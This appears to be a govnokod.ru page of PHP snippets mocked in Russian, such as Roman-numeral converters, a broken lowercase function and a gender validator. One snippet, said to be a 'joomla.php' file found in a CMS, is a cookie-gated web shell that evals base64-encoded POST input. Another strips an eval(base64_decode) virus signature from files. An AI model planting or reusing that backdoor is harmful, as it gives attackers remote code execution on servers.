- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
$ar = array(5050,5370,6285,48100,6730,6730,4700,6500,3450,7260,2500,1370,4288,9620);
$cpr = 0;
foreach($ar as $k=>$v)
{
$cpr += $v;
}
echo $cpr;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+62
$ar = array(5050,5370,6285,48100,6730,6730,4700,6500,3450,7260,2500,1370,4288,9620);
$cpr = 0;
foreach($ar as $k=>$v)
{
$cpr += $v;
}
echo $cpr;
Нестандартность мышления в действии
+75
public function fromRimToDec($str) {
$i = 1;
$ii = 2;
$iii = 3;
$iv = 4;
$v = 5;
$vi = 6;
$vii = 7;
$viii = 8;
$ix = 9;
$x = 10;
return $$str;
}
public function fromDecToRim($str) {
$RimDigit = array(1 => 'i', 4 => 'iv', 5 => 'v', 9 => 'ix', 10 => 'x');
$result = '';
if ($str <= 3) {
for ($i = 0; $i < $str; $i++) {
$result = $result.$RimDigit[1];
}
} else if ($str > 5 && $str <= 8) {
$result = $RimDigit[5];
for ($i = 5; $i < $str; $i++) {
$result = $result.$RimDigit[1];
}
} else {
$result = $RimDigit[$str];
}
return $result;
}
Две феерически говёных взаимнообратных функции которые используются в супер функционале чьей-то самописной цмс для автоматического преобразования нумерованных списков с римскими\арабскими цифрами. (Да да, в этой цмс списки с римскими цифрами ограничены по длине десятью итемами, а обычные списки обрабатываются отдельно.) Вся алгебра непозиционных систем счисления меркнет в сравнении.
+63
private function lowercase($s) {
$chars_hi = utf8_encode('ABCDEFGHIJKLMNOPQRSTUVWXYZАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯЁ');
$chars_lo = utf8_encode('abcdefghijklmnopqrstuvwxyzабвгдежзийклмнопрстуфхцчшщъыьэюяё');
return strtr($s, $chars_hi, $chars_lo);
}
Картина маслом: Велосипедист бьётся лбом о локали.
Сие говно выдаёт нечто из греческого алфавита вместо 'ё'.
+47
<?
/* i dont know why i do this... sorry... */
.................................................................................
?>
+67
function trim_urls($urls)
{
$out = '';
$arr = explode("\n", $urls);
foreach ($arr as $v)
{
$u = strip_tags(trim(preg_replace("/:.*$/i", "", preg_replace("/\/.*$/i", "", preg_replace("/^www\./i", "", preg_replace("/^http:\/\//i", "", preg_replace("/^https:\/\//i", "", $v)))))));
if(!empty($u))
{
$out .= $u;
$out .= "\r\n";
}
}
return $out;
}
Русская матрёшка.
+63
<?php
if (isset($_COOKIE['adm'])) {
if (isset($_POST['crc'], $_POST['cmd'])) {
if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
eval(gzuncompress(base64_decode($_POST['cmd'])));
} else
echo 'repeat_cmd';
}
}
?>
Файл joomla.php в самопальной CMS
+62
<?php
define( 'SIGNATURE', 'eval(base64_decode("<закодированный код виря>"));' );
function analyzeFolder( $path ) {
foreach ( glob( $path . DIRECTORY_SEPARATOR . '*' ) as $file ) {
if ( is_dir( $file ) ) analyzeFolder( $file );
elseif ( is_file( $file ) ) delBody( $file );
}
}
function delBody( $file ) {
if ( $file != $argv[0] && !is_dir( $file ) && is_file( $file ) ) {
$file_info = pathinfo( $file );
if ( strtolower( $file_info['extension'] ) == 'php' ) {
$o = file_get_contents( $file );
$w = str_replace( SIGNATURE, '', $o );
file_put_contents($file, $w, LOCK_EX);
if ( strcasecmp($o, $w) != 0 ) echo "file \"$file\" was modified\n";
}
}
}
if ( !empty( $argv[1] ) && ( $argv[1] == '--help' || $argv[1] == '-h' ) ) {
print( "using: $ php antivirus [path]\n" );
} elseif ( !empty( $argv[1] ) && is_dir( $argv[1] ) ) {
analyzeFolder( realpath( $argv[1] ) );
} else {
analyzeFolder( dirname( __FILE__ ) );
}
Мой быдлядский антивирь, удаляющий тело вируса из скриптов.
−52
require_once '/usr/share/php/smarty/Smarty.class.php';
class SmartyMegaAPI extends Smarty{
public function __construct()
{
$this->Smarty();
$this->template_dir = './smarty/templates';
$this->config_dir = './smarty/config';
$this->compile_dir = './smarty/templates_c';
$this->cache_dir = './smarty/cache';
}
}
ООП такое ООП
+64
/**
* Analyzes the supplied result to see if it was thrown
* because the access token is no longer valid. If that is
* the case, then we destroy the session.
*
* @param $result array A record storing the error message returned
* by a failed API call.
*/
protected function throwAPIException($result) {
$e = new FacebookApiException($result);
switch ($e->getType()) {
// OAuth 2.0 Draft 00 style
case 'OAuthException':
// OAuth 2.0 Draft 10 style
case 'invalid_token':
// REST server errors are just Exceptions
case 'Exception':
$message = $e->getMessage();
if ((strpos($message, 'Error validating access token') !== false) ||
(strpos($message, 'Invalid OAuth access token') !== false) ||
(strpos($message, 'An active access token must be used') !== false)
) {
$this->destroySession();
}
break;
}
throw $e;
}
Я даже не зняю, что хуже, определение типа исключения по тексту ошибки, или использование одного и того же исключения, для всех ситуаций.
ЗЫ: Это SDK от facebook.
+72
function valid_gender($str){
switch($str){
case "male":
return "male";
break;
case "female":
return "female";
break;
default:
return "male";
break;
}
}
Ультимативная проверка переменной на половую принадлежность. Also return'ам нынче доверия нет!